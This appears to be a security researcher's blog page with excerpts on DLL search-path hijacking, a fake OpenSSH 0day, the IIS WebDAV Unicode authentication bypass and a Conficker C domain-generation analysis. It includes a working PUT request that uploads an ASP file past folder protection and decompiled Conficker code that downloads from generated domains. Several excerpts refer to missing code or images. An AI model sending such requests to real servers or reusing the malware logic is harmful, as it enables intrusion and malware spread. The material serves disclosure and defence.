Subscribe to the RSS feed in case you are interested in updates
After Acrossecurity, published an interesting vulnerability and HDmoore appears to have stumbled on the same issue, I decided to investigate on my own. I am not 100% sure it's the same bug but I am pretty confident. While it is known since years and Microsoft even dedicates a KB article to it, vendors appear to still have issues with using Loadlibrary/Getprocadress correctly.
Above does not show vulnerable examples (i.e the dll is not effectively loaded)
This issue appears to have been first discovered by Georgi Guninski (who else) in 2000, so it is not a new weakness and defensive mechanisms have been introduced into development languages as well as windows itself to mitigate this risk (if properly used)
If I will find more time this week I'll publish more details and backround as to introduce counter measures and checks into your hopefully mature Development Lifecycle.
In summary :
If loadlibrary is not called correctly AND/OR DLL Search path is not hardened opening a file located on a share will lead to DLL files being located on the share and code being executed that is within that DLL. Above is an example of Photoshop.
Until then know that this issue can be mitigated by deploying proper GPO policies that disables searching for DLLs on UNC paths (Documented in http://support.microsoft.com/kb/2264107)
Development Best practises that can protect against this weakness/vulnerability :
Subscribe to the RSS feed in case you are interested in updates
Rumor had it that the anti-sec group was using a OpenSSH 0day, str0ke today linked to an URL that supposedly has the exploit code to that 0day.
The reason the disassembled shellcode looked like crap is that, well , it isn't shellcode, it is nothing else then plain ascii bash/php commands.
Here is that JMP code converted to "assembly" :
00000000 jb 0x6f 00000002 and byte[0x7e206672],ch 00000008 and byte[edi],ch 0000000a sub ah,byte[eax] 0000000c xor bh,byte[esi] 0000000e and byte[edi],ch 00000010 fs: gs: jbe 0x43 00000014 outs dx,byte[esi] 00000015 jne 0x83 00000017 ins byte[es:edi],dx 00000018 and byte[esi],ah
Obviously, this code doesn't make any sense whatsoever, so and here is the JMP code converted from HEX to ASCII :
Several news stories seem to allude that Microsoft is artificially downplaying the threat, citations of myself are used to underline the headline in an "us against Microsoft" kind of way. I want to clarify that I have the utmost respect of the MSRC team and I don't suspect Microsoft to willingly downplay anything. They also claim I am from Belgium, I am obviously from Luxembourg. The bug also is not the same as the IIS4/5 one, it's root cause is similar. That's about it.
About:The video above shows the different Webdav settings and the different impacts they have. Note that code execution is only possible if these pre-conditions are met. I am not sure how often this kind of setup exists, if I had to guess i'd say not often. Credit: Rangos. 1. Updates
25/05/2009 - Update:As Nicolaos wrote in the comment section of this post. IP/Domain filters can be bypassed the same way. In other words if you have a filter for certain IP adresses, you can bypass them. Update : Todd Manning over at Breakpoint labs did comprehensive tests on which Unicode encodings work. The answer is a lot - IPS/IPS vendors should update their signatures. Update : Sharepoint and OWA are not affected by this bug - more infohere Update : Skull security has a good write uphere , they patched cadaver to exploit this vulnerability.Nmap script here. Update: Video detailing the different settings and the different impacts (up to remote code execution) Credit: Rangos Update: Nmap IIS6 Webdav scanner added to tools section. Update: Webdav Network scanner added to tools section.Update : Microsoft SRD Team gives more insight and details (Must read) Update : Microsoft advisory : http://www.microsoft.com/technet/security/advisory/971492.mspx Update : For IIS 6 : Write access is not allowed per default - as such you can only "upload" content if IUSR_anonymous is granted write access. This is not the case per default. Update : IIS5 and IIS7 are NOT affected - IIS5 and 5.1 are affected (according to MS) Update : It is unclear how this affects Exchange 2003 (which allows access to inboxes over webdav)
Below is a summary by Microsofts SRD Team, please note that the below enumeration leads to think that the chances that your setup is vulnerable is VERY unlikely. IMHO this is not the case, take a standard install of IIS6, enable Webdav, setup a protected folder requiring basic auth. And that's it, you are vulnerable.
You are not at risk if : (Source : Microsoft SRD Team)
An IIS server not running WebDAV is safe. The Windows Server 2003 IIS (version 6) shipped with WebDAV disabled by default.
An IIS server not using IIS permissions to restrict content to authenticated users is safe.
An IIS server that does not grant filesystem access to the IUSR_[MachineName] account is safe.
An IIS server that hosts web applications using only forms-based authentication is probably safe.
You are at risk : (Source Microsoft SRD Team, except italics by myself)
IF an IIS 5, 5.1, or 6.0 webserver is running with WebDAV enabled (default for IIS5);
AND the IIS server is using IIS permissions to restrict a subfolder of content to authenticated users;
AND file system access is granted for the restricted content to the IUSR_[MachineName] account;
AND a parent folder of the private subfolder allows anonymous access; THEN an anonymous remote user may be able to leverage this vulnerability to access files that normally would only be served to authenticated webserver users.
4 Test tools
Specificaly for this vulnerability: Metasploit added test script to the trunk
For PROPFIND the "translate:f" option is NOT required (only for GET requests)
Breakpoint labs analysed how the various UTF encodings affected the flaw - lot of variations work.
Recommendation : until the impact is 100% clear you should temporarily disable Webdav or follow the mitigation recommendations from Microsofts SRD team
5. Details
Kingcope a.k.a Nicolaos Rangos released another pwnie grade vulnerability yesterday and it's resemblance to the IIS unicode flaw from 2001 was so similar that my jaw first dropped.
Here are a few facts, these are subject to modifications as the news unfolds:
Webdav is not enabled by default on IIS6, IIS7 + Webdav is not affected
IIS 5 and IIS 5.1 are also affected.
Enabling Webdav applies to all websites and doesn't have to be enabled per site.
You can actually upload content to the web server, if the IUSR_anonymous has write access to webdav folders. (To any other folder if the account has write access to other folders)
This seems to have a similar (root cause) then the 2001 Unicode IIS4/5 bug , but not exactly the same
"Translate:f" is required for GET requests, PROPFIND works without the translate optiion.
Mitigation :
Temporary disable Webdav. This is not easy if you have Sharepoint services running. See here
Backround
In 2001 a path traversal bug was found in IIS4 and IIS5 that lead to a series of serious compromised and massive exploitation (MS01-026). It was bad really bad, the simple path traversal was used to compromise systems remotely mainly through calling (t)ftp.exe to upload arbitrary content.
The path traversal was possible due to Microsoft's introduction of UNICODE support into IIS. The flaw was by design, a typical logical fallacy. Unicode conversion was added AFTER the security checks and not before, resulting in the path "..%c0%af.." to be considered a VALID path, yet it is nothing else then "../.." in ascii. More details can be found here.
MS01-26 - 2001
Here is the logic flaw that lead to the vulnerability in 2001. I quickly drafted this in Visio, below is the way it was supposed to work:
Figure1 IIS4/5 how the security check was supposed to work (click to enlarge)
Here is how it was implemented :
Figure 2 - IIS4/5 how the security check was implemented (click to enlarge)
In other words Microsoft, certainly through the late addition of Unicode support to IIS, failed to realize that converting chars to Unicode representation should happen before any "security" checks. So the flaw was one of logic, Unicode conversion after the security check.
Fast forward 2009 - Kingcope releases a similar vulnerability.
MS09-971492 - 2009
The bug discovered by Rangos seems to suffer from a similar logic mistake when requesting source (translate:f) that has been introduced in the Webdav component. It appears that unicode characters are removed after the security checks.
Example: Uploading arbritary content to an asp page - Creating ASP files only works if "Script Source Access" is enabled and IUSR_Anonymous has write access to the folder. Creating INC files works even if with "script source access disabled". (Source : Hubert.Seiwert)
PUT /protected%c0%af/hello.asp HTTP/1.1
Host: 192.168.171.142
Translate: f
Content-Length: 27
<%response.write("hello")%>
The server will however not execute this asp page - currently no code execution is known to be possible, even if write access is enabled (see exception below). The reason is that you can't simply issue a GET request to the asp page you just created - it's password protected and execution over webdav fails.
However code execution would be possible in scenarios where :
IUSR_Anonymous has write access to the folder in question
If you map the root (or any other) WWW folder to the webdav folder (an hence can issue a simply GET request to the uploaded file)
For those not in the know : Conficker is one of the largest Worm botnets in existance, and conficker is the name attributed to the piece of malware used to create the botnet.
Conficker C uses a PRNG to generate a list of possible of rendez-vous points, in essence this are domain names (hosts) that have additional information and code to download. After the "fiasco" of having all their pseudo randomly generated domain names registered or blocked, the new conficker C variant, improved upon it's design. Conficker C now generates 50.000 possible combinations per day and adds the resulting string to 110 TLD.
Interestingly among the possible TLD is also Luxembourg (LU) domain. It will be interesting to see if it will be used and how Restena (the main registrar) will react. My guess it that they will most likely not succeed in getting their LU domain, since the back-end process is entirely manual (afaik).
So if somebody from restena is reading this post, if you get a request to register a random domain name like yxsdsdfsfd.lu you should react by informing your 2nd tier registrar that something might be fishy (appropriate noun in this case) and manualy verify a contact name and phone number prior to handing out the domain. PS: Having not seen the PRNG, it might be totaly possible that a more meaningfull domain than random characters might be generated once in a while.
hMem = GlobalAlloc(0x40u, 0x30D40u); // global array - 50,000 random names if ( hMem ) { while ( 1 ) { counter_domains = counter; if ( counter >= 50000 ) break;
size_of_name = DGA_random_function() % 6 + 4; // size of domain name is between 4 and 10 chars // append "." at the end of the name random = DGA_random_function(); strcat(*end_of_random_name, (&array_top_domains)[4 * random % 116]); // append to the name one of the 116 top domain names ++counter; }
// select and query 500 domains counter_domains = 0; while ( !success_download && counter_domains < 500 ) { // random number modulo 50,000 one_in_50000_names = conficker_D_PRNG_function() % 50,000); hostent = gethostbyname(one_in_50000_names); // resolve name to a set of IP addresses if ( hostent ) { host_address = hostent->address_list; // get list of IPs array_previously_checked_IPs[counter_domains] = host_address;
if ( *host_address ) { // skip if domain name resolves to multiple IP addresses if ( !*(host_address + 1) ) { // skip if IP is local host or other trivial IPs if ( check_IP_value(host_address) ) { is_blacklisted_ip = check_if_IP_is_in_ranges(host_address); // skip if IP is blacklisted if ( ! is_blacklisted_ip ) { found = 0; index = 0; while (index < counter_domains ) { if (host_address == array_previously_checked_IPs[index] ) { found = 1; break; // break if IP has been previously encountered } ++index; } // skip if IP has been previously encountered if ( !found ) { snprintf(Dest, 0x80u, "http://%s", host_address); success_download = download_and_validate_file(Dest); // HTTP request to the domain and download valid file } } } } } } Sleep(...); // sleep small random amount ++counter_domains; } } GlobalFree(hMem); returnsuccess_download; }
Lots of voices were heard that they will drop Adobe acrobat in favor for the free FoxitPDFreader, well this simple Remote code execution vulnerability still works with Foxit as of today :
Disclaimer: The views and opinions expressed on this blog are my personal views and are not intended to reflect the views of my employer or any other entity.
.png)
